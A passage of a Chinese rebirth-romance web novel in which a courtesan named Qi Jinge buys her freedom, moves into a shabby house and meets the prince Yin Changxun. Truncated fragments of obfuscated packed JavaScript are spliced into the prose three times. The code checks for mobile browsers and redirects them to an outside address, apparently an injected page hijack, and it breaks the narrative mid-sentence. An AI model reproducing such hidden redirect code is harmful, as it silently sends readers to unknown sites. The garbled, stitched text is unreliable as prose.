祈今歌想要离开，她并不觉得奇怪。 毕竟她的清高也不是装的，她是真心实意讨厌卖笑的日子。 既然她早就凑够了银子，之前又没有提这件事，唯一的理由，定然是为了祈明珠。 她们两形影不离，关系有多好，殷府的人都看在眼里。 现在，祈今歌竟然要不管这个妹妹了？ 真是太阳打西边出来了。 有点意思。 殷夫人一向觉得祈今歌无趣。 太寡淡，太淡薄了，平静的如同一湖死水一般，纵然狂风刮过，也在湖面上掀起半分波澜。 她的行为规规矩矩，做不出什么出格的举动，也是府里最好操控的人。 但凡有点阅历的人，就几乎可以预知她的一切行动。 这样性格的女子，培养她做风月场上的人，实在是有点赶鸭子上架，毕竟她几乎毫无情趣可言。 但谁让她长得那么美呢？ 别说男人看了喜欢，就算是女子，见了也会心动。 现在的天下，虽然也有女流杀出一条血路，但是终归是屈指可数，各行各业终归是男子在掌权。 殷夫人想要扩大自己的商海版图，就要从男人身上虎口拔牙。 征服男人，利用男人，最后才能走向她想要的位置。 而美色就是征服男人最为有效的手段之一。 多少交易，多少合作，都是在祈今歌这张倾国倾城的脸蛋下促成的。 这也就是为何府邸里如此多活色生香的家妓，且她们的性子都比祈今歌有趣的多，可是祈今歌的地位在红芳院却是最高的。 美貌就是这么霸道。 而现在，无趣了十年的祈今歌竟然在离开之际变得有意思了起来。 她有生以来第一次让殷夫人看不透，一个几乎为了妹妹舍弃一切的人，现在亲口说出“只为自己”这几个字，简直是不可思议。 “哦？”殷夫人觉得找到了乐子，于是难得多话，精明的眼光中多了份狡黠，她有些恶劣地问道，“这可不像你的作风，你一个人前来赎身，你的妹妹却继续留在我这？” “你要是离开殷府，该怎么照顾你妹妹，维护你妹妹？要是有个三长两短，你不关心？” 殷夫人接着轻笑一声，道：“你以前可是给你妹妹当娘又当爹的，怎么现在舍得撇下她了？” 这话既抛出了殷夫人的疑问，更是流露出她对祈今歌曾经所作所为的不屑。 她很讨厌这种祈今歌这种不把自己放第一位做法。 人不为己天诛地灭，哪有仅仅因为血缘关系，就事事包容的？ 这么多年她看在眼里，祈今歌一直在付出，祈明珠未曾回赠过分毫，但祈今歌也甘之如始。 “谁让我是她姐姐呢？照顾妹妹是应该的。” 祈今歌曾这样说过。 只不过殷夫人觉得，祈今歌的所为所为，说的好听，是重情，说的不好听，叫愚蠢。 生意场上炊毛饮血出来的人，理解不了祈今歌圣母般的想法。 难道因为仅仅出生得早了，反倒成了一种罪过了？ 不过这到底是她们姐妹之间的事，只要不耽误自己的事，殷夫人一般懒得管。 但现在既然提起了这事，倒是免不得多问几句。 她微微眯了眯眼睛。 一个月以前，这两姐妹还亲密无间，要说有什么事能另两姐妹生了间隙，那也只能是宴会上的那件事了。 只是这件事的失败是因祈明珠而起来，可祈今歌的性子，也不会在乎能不能嫁给给庆王，怎么可能真的计较妹妹的失误，从而走到各走各路的地步？ 她的确好奇，祈今歌怎么突然想通了，舍得离开她这拖油瓶一般的妹妹？ 这改变可不是一般的大，简直堪称翻天覆地了。 祈今歌也清楚，殷府的人谁不知道她溺爱妹妹得狠，如今一走一留，谁见了都会奇怪。 就和翠儿一样，不问才不正常。 “她虽是我的妹妹，却已经不是小孩子了，我虽然是她的姐姐，也终究有自己的道路要走，如今她未与我一同前来，答案已经不言自明。” 祈今歌站得笔直，目光灼灼。 “是她自己选择了殷府。” 她轻描淡写的带过，却将由头归到了祈明珠身上。 重生这件事，她不能说，但是她也懒得编造一个自己突然与之前不同的理由。 她的回答的算得上体面。 只是殷夫人知道，这并非真正的原因。 不过既然她不想提，殷夫人也不会纠缠不休。 她这个岁数的人，对他人的事多问几句已经是好奇的极限，可不会和小年轻一样，什么事情都打破砂锅问到底。 再说，刚刚才得了一大笔银子，她心情挺好，更加不会计较这等小事。 赎了身，也不再是主仆关系，殷夫人好心提醒道：“不过，你可想清楚了，外面处处都要用钱，如果我没猜错，你给自己赎身，剩下盘缠应该所剩无几了吧？往后的日子，可没你想的那么好过。” 如殷夫人所言，她身上还剩的银子确实不多。 对于殷府的家妓来说，大多数人此生大抵都凑不出前给自己赎身。 祈今歌能有赎身的选择，已是实属不易。 但是纵然是她，付出两千两白银的代价也已经是被抽干了血，再也挤不出多余的血肉了。 外面的日子…… 祈今歌当然清楚。 娘亲难产而死，姐妹二人由父亲一人抚养，本就已经过的足够艰辛，后云州大旱三年，靠天吃饭的父亲几乎是颗粒无收，眼看一家三口都要被活活饿死，姐妹二人才被卖到殷府。 正是因为太过清楚在殷府的日子已经比外面好过千倍万倍，因此祈明珠才会打死不愿意离开，因此自己才会半推半就。 可她委曲求全，又得到了什么？ 连命都没了。 这一世无论如何，祈今歌不愿意再做相同的选择。 离开以后，哪怕再苦再累，都不会比上辈子更糟糕了。 她并未言语，只是坚定地点了点头。 殷夫人见她态度坚决，转身走进了里间。 等她再出现了祈今歌面前的时候，手上多了一张宣纸。 殷夫人将纸张轻飘飘地递给了祈今歌。 “拿着吧，你自由了。” 祈明珠摊开纸张一看，白纸黑字上写着的正是祈明珠的姓名、籍贯，还有她的价格以及她的手印。 这是祈今歌的卖身契。 而今，它落到了祈今歌的手中，这意味着祈今歌不用再依附于任何人。 明明是轻若无物的纸张，祈今歌觉得它却有千斤重。 她的双手甚至微微颤抖了起来。 这里面积攒着的，是她十年的光阴。 她将卖身契小心翼翼的叠好，收入袖中，态度谨慎的像是对待一件稀释珍宝。 祈今歌郑重道：“多谢夫人。” 殷夫人道：“谢什么，你应得的。你可找好了住处？若是还未安排好，倒也不急着一天两天的，寻好下脚的地方才是。” 殷夫人知道祈今歌的亲人也只剩一个务农的老爹，两人也已经多年不来往，云州城也没有别的人照应。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457663|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她离开这事来的突然，应是没有时候去处理住房的事，若是现在就出去了，怕是连个睡觉的地方都没有。 她和祈今歌也算是好聚好散，容她在府邸多一两日，左右也不过是多几顿饭的事。 这点小恩小惠，殷夫人还是愿意给的。 祈今歌道：“多谢夫人费心了，不过，早在前几日，我已经麻烦府中的刘守卫帮我打探住房的消息了，如今已经找到了中意的地方，前段日子出了趟府，立契过户都已经办完了。所以我打算明日一早，便出发离开。” 真是一刻也不想多等啊。 殷夫人一笑。 她还没点头，祈今歌倒是提前已经把后面的事安排好了。 殷夫人又道：“虽然不是没想过你会走，但确实出乎我的意料，你竟然安排的这么周全了，就这么迫不及待？可是觉得我苛责你了？” 她是真觉得挺意外的。 意外祈今歌走的如此干脆。 没有一点点的留恋。 “自然不是。夫人固然是严格的，可是今歌心知肚明，在红芳院的诸位姐妹之中，今歌已是被夫人优待过的。”祈今歌认真回答，“或许在您看来，我以来是迫不及待，甚至有些操之过急，但是其实这件事我已经犹豫彷徨了十年，等待了十年的事一旦下定决心去做，便是片刻都不愿意等了。” “原来如此。”殷夫人是个聪明人，怎会不懂祈今歌话的意思。 以往她都觉得祈今歌温顺到有些懦弱。 可如今看来，反倒是自己言之过早了。 人各有志，天高任鸟飞。 以祈今歌如今的心性，大抵在哪，也不会过得太差。 她唇角勾了一勾，道：“既然如此，我也不留你，那就只能祝你以后的日子一帆风顺了。” * 次日清晨，晨雾还没散去，空气中尚且还弥漫着湿气，祈今歌就收拾自己的包裹出了院门。 门口的三个丫鬟通过翠儿的消息，早就知道祈今歌要离开了。 只是没想到昨天才听到风声，今天就看到祈今歌背着两个包袱准备出了门。 红芳院中的女子都还在梦乡中，四周静的能听到祈今歌迈动的脚步声。 便是红儿、容儿两人与祈今歌接触甚少，却也在看到祈今歌后，忍不住搭话：“今歌姑娘，这么早就走？” 祈今歌应了一声，道：“嗯。早点走，也清静些。” 不然到时候她背着包袱走人，别人一看，又免不了掀起一些闲言碎语。 她虽然不放心里，可是也懒得听那些尖酸刻薄的话。 俗称，懒得给自己添堵。 红芳院之中的一切，她都不留恋。 她想走的安静，不想再听别人嘴中的是是非非。 她也不愿意离去的时候，还有无数人的目光聚焦在她背影上。 她在红芳院中的十年，既没有交到一颗真心，就连曾经以为唯一的亲情，也只不过是她的自作多情。 因此，她无需向任何人告别。 没有理由，更没有必要。 翠儿心直口快，道：“姑娘，要不要我去叫一叫明珠姑娘，怎么说您要离府，也该送您一程才是。” 祈今歌摇头，只道：“不了。” 拒绝的果断干脆。 翠儿心中无奈叹气。 红儿、容儿两个局外人更是摸不着头脑。 翠儿不再坚持，好声好气商量道：“那我送您出门，总是可以的吧？” 祈今歌的目光留在了翠儿身上片刻，她眼神真挚、纯粹，还带着几丝不舍的意味。 没想到......反而是翠儿这个丫鬟对她有几分真情。 她微微一笑，不再推辞，同意道：“好啊。” 11. 梦境 道路两旁涌动的声浪如沸水翻腾，贩夫走卒摩肩接踵。 人来人往，热闹非凡。 祈今歌走在街上，脚步轻快。 她听着人们讨价还价的声音，看着商贩们陪笑叫卖的模样，看着这些寻常人早就习以为常的人间烟火，只觉得内心颇为充斥着不真实感。 以前在殷府的时候，虽然偶尔出来闲逛，但是机会总是少的，便是夫人宽容的时候，一年也左右不过三四次。 后来她成为了尹长寻的妾室，凡事都有人替她操办，她已嫁为人妇，又身在王府，身份更加特殊，于是更不便抛头露面。 这些市井人家中的繁琐生活，终究是离她太远太远。 而今，此情此景，虽然与记忆里大差不差，可是祈今歌的心情却已经有了翻天覆地的变化。 她不再是以殷府的家妓来看待这一切，更不是以王府的妾室来瞥视这一切，从今以后，充满着柴米油盐的点点滴滴，都将成为她日后生活的一部分。 或许对别人来说，这样平凡而琐碎的生活是令人厌烦的，但是对祈今歌来说，却是求之不得。 祈今歌此次要去的地方，位于脚下这条街最后方的一个胡同口。 只不过与沿途一路上的热闹相比，这条胡同可谓是迥然不同，有些冷清又落寞。 这条胡同名为凤银巷，名字虽然带“凤”又带“银”的，可实际上却是有名的贫民街。 凤银巷算得上是云州最为老旧的一条胡同了，这些年云州城内不少地方翻修后都焕然一新，然而凤银巷却迟迟没什么变化。 原本居住在这的老住户中，但凡是钱袋子里还听得几个碎银子响的，都已经搬到他处去了。 留下的自然就是穷的有些叮当响的。 当然，这也不是没好处。 比如同样是有些老旧的房子，凤银巷的价格就已经低到了不可思议。 祈今歌买下的房子，便是在这凤银巷之中。 那是一座小型的宅院，样式有些陈旧，但是所幸麻雀虽小，五脏俱全。 这房子的户主是殷府守卫刘大哥相识多年的好友，原本已经搬离了凤银巷，只是尚未处理此处的房产，便一直空置着。 毕竟这地方实在是有些落寞了，愿意接手的人并不多。 如今一听有人想买，还是熟人介绍，便一拍即合，以极为低廉的价格出售给了祈今歌。 这房子的位置说远也不太远，祈今歌从殷府出发，走路大概不到一个时辰就到了。 她原本行囊就少，又像是鸟儿飞出了囚笼，想要看看府外光景，呼吸自由的空气，加上能省一笔是一笔，本着精打细算的原则，便也没雇马车，决定干脆走过去。 前几日和户主签订契约过户的时候就已经初步将房屋打扫了一遍，屋子里最基本的家具倒是有，但是更多的东西，则需要在日后慢慢添置。 但无论如何，这个朴素到有些寒酸的家，是真正意义上属于自己的家。 想到这，祈今歌的心情又像轻盈的羽毛一样被春风高高吹起，脸上也不自觉的挂上了微笑。 重生之后，这是她难得一次收获的好心情。 她微微加快了自己走路的步伐，有些迫不及待地想要开启自己的新生活。 * 街道上，一辆马车缓慢行过。 拉车的两匹白马俊美而健壮，车厢主体用的是纹理细腻的上等乌木，散发着内敛的光泽，不见金银雕琢的张扬，低调又精致。 尽管马车奢华得很低调，但是仍旧引来路人纷纷侧目，感叹车内主人该何等富贵，就连车外马夫手中缰绳的质感都远超普通车夫所用，从头到脚都彰显着不凡。 街道外喧闹的很，马车内也不安静。 马车之内，坐着三人，一是尹长寻，二是明正，最后一位乃是明正的亲妹妹——明芷玉。 明芷玉长的秀美，眉眼如画，着一身鲜红色石榴裙，精致得如同瓷娃娃，虽然衣着打扮得小家碧玉，但一举一动中总有一股潇洒之气，看起来颇为英姿飒爽，显得格外与众不同。 她那一双杏眼正聚精会神地看着眼前的尹长寻，舍不得挪开片刻。 “长寻哥哥，你若是以后想去哪，都可以叫明珠陪着你的，多一个人不有意思多了？” 少女的声音娇媚如水，又带着一丝稚嫩，虽然好听，但是不免让人觉得有些做作，仿佛是掐着嗓子才捏出这样软糯的声音。 明正心脏猛的一跳，眉毛都要拧成了八字。 毫不夸张的说，他浑身上下鸡皮疙瘩都被激出来了。 这还是他那个无法无天、唯我独尊的妹妹吗？ 天知道他那平时大大捏捏的妹妹，怎么一见了尹长寻，就和被夺了舍一样，活像见了鬼。 妹妹从小就喜欢尹长寻，明正不是不知道。 但是他一直认为，彼时的他们不过还是孩子罢了，便是喜欢，又能喜欢多久？ 多年不见，明正以为，她妹妹对尹长寻的痴迷应该已经褪色不少。 但他发现自己大错特错。 上一次尹长寻来府邸看望父亲，明芷玉就快要把他的脸上盯出洞来了。 但是毕竟父母都在场，明芷玉还是有所收敛。 今日一见，明芷玉立马被打回原形，该是什么样就是什么样。 这也倒罢了。 关键是他妹妹能不能有点眼色。 古人说得好，对症下药。 她能不能搞清楚尹长寻到底吃不吃这一套再行动？ 明正将目光扫向身边的尹长寻，只见他虽然面无表情，但是眉眼之中带着一抹化不开的寒气。 哪怕是这样的模样，也依旧是锐气不可挡，明亮的让人觉得晃眼。 同为男子，也不得不承认，尹长寻俊美的让人难以忽视。 也难怪她妹妹神魂颠倒，见之难忘，一幅非他不可的样子。 但是很可惜，就像她妹妹对尹长寻痴心不改一样，尹长寻毫无疑问也是一个专一的人。 比如专一的对明芷玉没兴趣。 明正作为尹长寻的死党，瞬间就读懂了尹长寻的情绪。 他不耐烦，并且在忍耐。 一如当年在皇宫时，他们三人相处的情形一般。 见尹长寻不说话，明芷玉更不会见好就收，反而是话更多了。 作为家中的掌上明珠，明芷玉向来被保护得很好。她没什么心眼，更谈不上什么手段，十五岁的年纪，喜欢上了一个人，便是满腔热血往前冲，也不管对方是什么态度，就是恨不得把自己的一颗心捧在他手上。 “长寻哥哥，过段时间美缘宴要开始了，你有兴趣去看看吗？我陪你一起去呀？” 少女的心思写在脸上不加掩饰，只可惜尹长寻根本没理她的心思，直接偏了偏脑袋，侧过脸，掀起车帘看向车外。 尹长寻心情不太好。 自从上次从殷府回去以后，尹长寻总是梦魇。 在梦中，一名白衣女子倒在血泊之中，已然没有了气息。 梦中的他抱着女子已经冰冷的尸体，只觉得全身如被撕裂一样的疼痛，却发不出任何声音。 强烈的悲伤和绝望席卷了全身，让他如坠深潭。 就连失去母亲和父亲的时候，他都没有如此痛彻心扉。 最开始的时候，尹长寻并没有把这个噩梦放在心上。 可当同样的梦境频频出现的时候，他也不能再做到视若无睹。 太过真实了，真实到让他忍不住怀疑，这真的只是一场梦吗？ 可是毫无疑问，在过去的十八年中，他并没有经历梦中的场景。 他只能告诉自己，不过是一场梦罢了，没必要去在意。 但是越是这样，反而越没法忽视这个梦。 每每醒来，他便记不起女子的长相，可只需要过两三天，噩梦又卷土重来。 至此，尹长寻不得不正视起来，这个梦已经对他的影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只见一名白衣女子正背对着马车在前方行走，她身形单薄，右边肩背着两个淡蓝色的包裹，身段却是极好的，光是看背影，便能感受到其气质不俗。 周围来来往往的人们不约而同地看着她，甚至走远了还有人频频回头，而女子对比似乎习以为常，并没有任何特殊的反应，始终径直地向前走。 尹长寻的目光不自觉地被她吸引，莫名地觉得这道身影有种熟悉感。 乌沉的眸底在阳光的照耀下折射出了些许光芒。 “停车。” 一路无言的尹长寻突然开了口。 “啊？” 明正不明所以。 “我说停车。” 只是多了两个字，语气中也没有丝毫波澜。 可明正已经深刻感受到了他语气中的不耐烦和急切。 * 一辆典雅的马车停在了祈今歌的面前，她有些疑惑的停下了脚步。 马夫轻巧落了地，将帷裳掀开。 车厢内的男子微微颔首，长腿迈出，侧身而下，衣摆随着行云流水的动作扬起。 落地刹那，挺拔的身影映入祈今歌的眼帘。 神色冷峻，棱角分明，薄唇紧抿，一双眉目狭长深邃，透着几分冷傲与疏离。 这样一个清冷的人，却远比天空上方的明日还要璀璨夺目。 尹长寻比祈今歌高了一个脑袋还不止，他居高临下，垂眸看着她。 祈今歌的视线和尹长寻相对。 怎么是他。 她有些紧张，心跳不由得加快。 尹长寻见她模样，突然明白心中熟悉感从何而来。 眼前的女子和梦中白衣女子的身影竟然完全重叠在了一起，别无二致。 12. 新居 很像。 她们的身形几乎一模一样。 只是梦中女子的生命已经静止，而眼前之人却依旧是鲜活的。 一瞬间，尹长寻失了神。 四目相对，祈今歌不由得愕然。 虽说无巧不成书，可未免也太巧了些。 她今日才从殷府离开，收拾好了细软，正要前往新居住的地方，怎么也没想到能在路上遇到尹长寻。 但凡早一日，晚一日，早一刻，晚一刻，他们应该都是无缘相见的。 对于尹长寻的情愫，祈今歌无疑是复杂的。 一方面，由于二人身份有别，祈今歌前世对尹长寻都是仰视着的。 另一方面，纵然前世两人并不相爱，可是扪心自问，除此以外，尹长寻对她还真不算差，吃穿住行，从未苛待，两人相处五年，纵然没有爱意，可也得承认，直到祈明珠背叛她这件事发生之前，在庆忘府度过的五年是她最无忧无虑的日子，尹长寻已经成为了她人生的一部分，她也真的是有把尹长寻当亲人看待过。 但是也正是因为祈今歌在这段关系之中付出了生命，让她如今面对尹长寻，总是不由自由地想起前世发生的种种，因而又有了些害怕与畏惧。 由于这样难以理清的感情，所以哪怕已经活了两世，尹长寻的降临，还能让祈今歌颇为手足无措。 尹长寻此时面无表情，让人猜不透他在想什么。 他擅自出现在自己面前，拦了她的去路，却又不主动说话，只是眼神毫不避讳地望着自己，像是把自己看穿一样。 祈今歌紧张地只想转身便走，但是又顾虑到二人身份差别，实在是不好装作不认识，于是按照规矩矮身行了个礼，强迫自己冷静下来，毕恭毕敬道：“民女参见庆王殿下。” “长寻哥哥！怎么了！为什么突然要停车呀！” 尹长寻还没说话，一个娇俏少女也从那车上跳了下来，步履轻盈，面带笑容，像是散落凡尘的精灵。 只是在目光落到祈今歌身上的时候，她的微笑立马消失了。 “呦，这不是祈今歌姑娘吗！好巧好巧！怎么在这见到你了！” 祈今歌循声望去，看向了跟在少女身后的男子。 说话者剑星眉目，看起来干净凌厉，一身大紫色圆袍裹身，显得有些花哨，头发束成马尾，手握折扇，一举一动颇为风流潇洒，脸上带着三分笑意，给人如沐春风之感。 来人正是尹长寻的好友——云州太守之子明正。 在嫁给尹长寻之前，祈今歌就认识明正。 和他刚正古板的父亲不同，明正从小就称得上不务正业，好花天酒地，加上他太守之子的身份，因此他与殷夫人来往甚密，殷夫人也没少让祈今歌两姐妹给这位公子哥解闷。 此人虽风流却不下流，在风月场上向来都讲求一个你情我愿，从不强买强卖。 此前接触过的几次，明正都无不适之举。 她看向明正身边的女子，两人看起来有六分相似，想必就是明守义的掌上明珠——明芷玉。 只是自己上一世并不曾见过。 于是她礼貌回应道：“明公子，明小姐，好巧。” 明正向来喜爱美人，原本就对有着一副好皮囊的祈今歌有所好感，此刻更是觉得她聪明伶俐，竟然一下就猜出自己妹妹的身份，如此自然是笑容都刹不住，他上下打量了会祈今歌，相比于之前见过的模样，现在的她打扮地更是朴素了几分，但是依旧荆钗布裙难掩国色。 “是啊，好巧。你今天怎么一个人出门了？你怎么还背着个包袱？这是要去往何处？也不带个下人出来，哪能自己还干这种活？” 明正惯常是个怜香惜玉的主。 这话说得仿佛她是小姐一般，凡事还得有人照应，连背个包裹都算得上被折煞了。 祈明珠解释道：“如今我已经从殷夫人那赎了身，以后都不在殷府了，现在正准备回家。” 明正有些惊讶，虽然他知道殷夫人是允许府中的家妓为自己赎身的，但是不久前殷夫人还打算将她作为赠礼送给尹长寻，这才多久的功夫，她就已经和殷府分道扬镳了？ 真是始料未及。 话头一打开，向来善谈的明正便免不得多何祈今歌多聊了几句。 明正在这和祈今歌有一搭没一搭的聊着，明芷玉却没有他哥那样的好心情。 因为尹长寻的目光就一直在祈今歌的身上没下来过。 明芷玉见状，脸色冷的可怕。 殷府？ 明芷玉心里嗤笑一声，看她哥哥也像是对她颇为熟悉的样子，不用多问，她便也知道祈今歌是什么来路了。 这家的殷夫人是个人物，没有丈夫也没有孩子，靠着自己一个人白手起家，在云州有了一席之地，生意做得风生水起。 普通的百姓鲜有人知道这所谓的白手起家之后蕴藏的肮脏。 可明芷玉毕竟是太守之女，明正的妹妹，哪能没听到过风声。 像祈明珠这么漂亮的女人，殷夫人可不会暴遣天物，让她只做个丫鬟。 那就只有一种可能性，便是殷府豢养的供人取乐的家妓。 按理说，尹长寻来云州已经将近一年了，不可能不知道殷夫人的路数。 不，最好不知道…… 如果尹长寻知道祈今歌曾经的身份，还特意为她停车下马，注意力全然放在她身上…… 这岂非意味着她堂堂太守千金比家妓还不如？ 明芷玉想到这，有些气的牙痒痒，不由得捏紧了粉嫩的拳头。 她绝不等接受自己长寻哥哥被一个低贱的家妓所吸引。 死也不能。 情窦初开的女子总是什么情绪都写在脸上。 明芷玉一把抱住尹长寻的手臂，并不顾及还在大街之上还有人来来往往，像宣誓自己的主权一般撒娇道：“长寻哥哥，咱们别在这耽误时候，百影楼的表演马上就要开始了！” 尹长寻转过头，看了一眼可怜巴巴望着自己的明芷心，嫌弃道：“松手。” 他的语气有点冷，还有点凶。 当众拂了明芷玉的面子，可明芷玉还偏偏一点气都生不起来。 明芷玉恋恋不舍地放开了手，尹长寻的话就是金科律例。 尹长寻向来不喜欢别的人碰自己，她知道如果不是因为自己是明正的妹妹，尹长寻更是对自己不客气。 他向来就是这么拒女人于千里之外，没有什么怜香惜玉的概念，更不会处处留情。 可正是因为这一点，明芷玉便更加喜欢尹长寻，像她哥哥一样随便的男子，自己才看不上呢！ 无论如何，尹长寻看在明家的面子上，纵然再不喜欢自己，自己总是比别的女人特别，只要有这层关系，她就不信自己不能近水楼台先得月。 至于眼前的这个女子…… 她心中轻哼了一声，倒是国色天香，但是殷夫人的手段她可是略有耳闻，终究是家妓出身，怎么配和她抢？ 她的长寻哥哥不过是一时兴起罢了！ 感受到明芷玉充满敌意的目光，祈今歌一笑置之。 无论是她的妹妹还是这位明家大小姐，都只是想得到尹长寻罢了，可今生她不可能再和尹长寻有什么交集。 “今歌姑娘，你现在住哪里？” 明正看她行囊并不算多，估计住的地方也不算远。 “在凤银巷附近。” “凤银巷？”明正想了想，那条巷道在他的记忆中偏僻又陈旧，他实在是没想到祈今歌会住在这种地方。 可是转念一想，这也不奇怪，在殷夫人手上，能重获自由身的家妓称得上凤毛麟角，一只手指头数得过来，祈今歌能够赎身，那已经实属不易，身上不可能还剩多少银子，租个老旧的房子也实属正常。 于是明正道：“从殷府到凤银街可得一个时辰吧，你怎么不雇辆马车过去？” 祈今歌有些不好意思，她怎么能说在买完房子以后，自己已经囊中羞涩，虽然还剩点钱，可是以后要过的可是细水长流的日子，当然是能省一点是一点。 “我刚好也想走走路，况且，也不算太远，已经走到这了，再走半个时辰就到了。” 明正自然想不到祈今歌是为了省钱才徒步过去，但是本着怜香惜玉的心思，明正倒是有点想提议送祈今歌回去。 他看了一眼侧身的尹长寻。 特意下车拦住人家姑娘，又一句话不说，一幅若有所思的样子，这是演哪一出？ 不过，这一来，他们原本还有计划要去百影楼看戏，二来，这毕竟是尹长寻的马车，他做不得主，三来，她的妹妹后槽牙都要咬碎的样子，他也不能视而不见。 于是他最终还是将脑海中的想法吞下了肚。 祈今歌见尹长寻不说话，刚准备开口告辞，尹长寻却在这时发了话：“我送你过去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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祈今歌微微低头，不想接触尹长寻时不时放在自己身上的视线。 她双手护着放在膝盖上的包裹，偶尔有一搭没子搭地应着明正的话。 不过一柱香的时间，便来到了祈今歌居住的地方。 三人看了一眼眼前破破烂烂的屋子，一时无言。 篱笆简单围了个院子，大门陈旧，房屋墙壁斑驳，纸制的窗户还依稀可见破了几个小洞，一看便是“历史悠久”。 明芷玉快人快语：“这是人住的吗？” 明正想过祈今歌如今住着的房子不会多好，可是也没想到这么寒酸，也是忍不住赞同道：“是啊，今歌姑娘，这里怎么适合你这样娇贵的人住呢？” 两人的话颇为有点不食人间烟火的味道，不过祈今歌并不在意，她知道他们出言并非恶意。 含着金汤匙出生的人，是无法想象这样的生活的。 尹长寻微微蹙眉，他也认同明正的话，这里的环境的确太差。 祈今歌并不反驳他们的话，只是冲她们礼貌地笑了笑，对于他们三人来说，这样的环境的确是难以忍受。 如果有的选，自己也不想在此安身，可她现在实在囊中羞涩，这也是无奈之举。 眼前的虽然陈旧，可是堂屋、厨房、卧室这些该有的都有，麻雀虽小，五脏俱全。 既来之则安之，大多数寻常百姓住的也不过如此。 别人住得，她也住得。 穷困潦倒和大富大贵她都已经经历过了，如今这样的日子她并不觉得难以忍受。 虽然看得出他们的嫌弃，不过该有的礼数还是不能少，祈今歌客套地邀请三人进屋喝杯茶。 明芷玉当然是不给面子，她向来娇生惯养惯了，可不愿意进这种破烂地方。 再说，哪有给情敌面子的道理？ 而明正原本想一口答应，却发现自家妹妹一副恨不得要吃人的表情瞪着自己，立马推辞说赶时间去看戏，就不添麻烦了。 祈今歌看了一看尹长寻，见他没有说话，便也当他拒绝自己的邀请。 她松了口气，不来也好。 再次感谢三人的好意后，她便转身进了门。 看着祈明珠离去地背影，尹长寻犹豫了片刻，却还是迈开步子跟了上去。 13. 触怒 尹长寻跨过门槛，目光在堂屋里逡巡。 斑驳的外墙与明净的屋内形成鲜明反差——青砖地面明显不久前用清水擦洗过，透着润泽的凉意。 正中央摆着张老榆木四方桌，边缘磨得发亮的板凳规矩列在四周，桌面上斜斜铺着一缕大门照射进来的晨光，将木纹里经年的痕迹都照得分明。 除此以外，厅堂再也没了别的东西。 尹长寻没见过这么简陋的地方。 他不禁眉头深深皱起。 不理解这个女人是怎么想的。 无论是皇宫之中，还是围绕在他身边的女人，没有一个不是拼了命的想往上爬，只要脑子正常，没有人会选择过苦日子，凭祈今歌的资质，怎么选都能比现在过的好。 真是个奇怪的女人。 祈今歌当然不知道尹长寻的想法。 她将包裹放在了卧室床上，从里间出来却发现尹长寻也在屋内。 祈今歌觉得尹长寻比起上辈子来，有些变化了。 比如，他以前是绝对不会多管闲事，好心地把只有一面之缘的女子送回家。 又比如，他素来最爱干净，以前根本不会屈尊降纡地到走进这又破又旧的房间来的。 两人在这又空又大的房间独处，视线在空气中交汇，却无一人主动说话。 如此安静，祈今歌觉得似乎连她轻微的呼吸声都沉重了起来。 祈今歌想要打破沉默，却发现此生二人交集太少，根本找不到合适的话题。 要不邀请他坐坐？ 可是这地方实在寒酸，和金枝玉叶的尹长寻看起来实在格格不入。 而且她只是匆匆收拾了一下，今日匆忙赶过来，连茶叶都还没买，连最简单的招待都做不到。 再说坐下以后，他们两人之间又能说什么呢？总不能一直干瞪眼吧？那岂不是更加尴尬？ 纠结之下，话到嘴边，竟完全变成了另外一番意思。 “王爷，您不是赶着看戏吗？明公子和明小姐还在外面等着你呢？” 话刚出口，祈今歌就立马后悔了，这话说的怎么这么不好听？ 就算这辈子不愿意和尹长寻产生交集，可他怎么也是一番好意送自己前来，怎么就下逐客令一样赶别人走。 可是话说出去了，就如泼出去的水，她说的话可是一字不落地落入了尹长寻耳中。 而尹长寻原本冷漠的神色终于有了波动。 祈今歌明显看到他脸黑了几分。 毕竟别人达官显贵上赶着想见尹长寻一面，尹长寻都不给面子。 她祈今歌倒是胆子不小，人微言轻，竟然还反其道而行知，得罪权贵都不敢得罪的人物。 尹长寻冷着脸道：“你这是赶我走？” 言语中除了不满，还有不可思议。 祈今歌自然不是这个意思，这只是紧张导致的脱口而出。 于是她抿了抿唇，朝着尹长寻又是躬身一礼，解释道：“当然不敢。民女感谢王爷的好意。王爷来寒舍，自然是蓬荜生辉，哪有赶王爷走的道理？只是您也看到了，民女这实在是太过寒酸简陋，民女是唯恐伤了王爷的贵气，这才一时失言。” 她这话倒是说的比之前好听。 只可惜，这种粉饰太平的话，尹长寻听多了。 不知为何，尹长寻看到祈今歌说这种客套话就有些恼火。 尹长寻道：“伤不伤我的贵气，自然是由我来定，哪由得你擅作主张？” 祈今歌一愣。 尹长寻话里的不满她听得出来。 因上辈子自己从未逆着过尹长寻，所以她未曾见过尹长寻这样的一面。 如今，她才反应过来，纵然尹长寻再怎么难以接近，可不能忽视的是，眼下的他毕竟也只是一名刚满十八岁的少年郎罢了。 纵然是再冷漠自持，也并不如五年后那般心思内敛。 此刻的他，少年的傲气与稚嫩尚未完全褪去。 祈今歌无疑是触怒了他。 只是，那又能怎样呢？ 对于别人，或许巴结尹长寻还来不及，可是对于祈今歌，却是避之不及。 明明下定决心要和前世的一切撇清楚关系了。 